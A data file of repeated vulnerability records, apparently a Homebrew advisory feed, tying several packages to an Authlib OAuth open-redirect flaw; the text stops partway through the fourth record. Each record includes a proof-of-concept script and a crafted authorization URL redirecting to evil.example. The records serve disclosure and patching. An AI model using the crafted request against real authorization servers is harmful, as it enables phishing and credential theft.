{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.8.0",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "fastmcp",
        "purl": "pkg:brew/fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.3"
            },
            {
              "fixed": "3.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.8.0",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.8.0"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-fastmcp-CVE-2026-41479",
  "modified": "2026-09-17T19:27:54Z",
  "published": "2026-08-13T16:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "kaskade",
        "purl": "pkg:brew/kaskade"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.4"
            },
            {
              "fixed": "4.0.7_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-kaskade-CVE-2026-41479",
  "modified": "2026-09-17T19:28:28Z",
  "published": "2026-08-13T17:01:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "khaos",
        "purl": "pkg:brew/khaos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.1_8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-khaos-CVE-2026-41479",
  "modified": "2026-08-13T17:01:22Z",
  "published": "2026-08-13T17:01:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "kimi-cli",
        "purl": "pkg:brew/kimi-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.48.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the 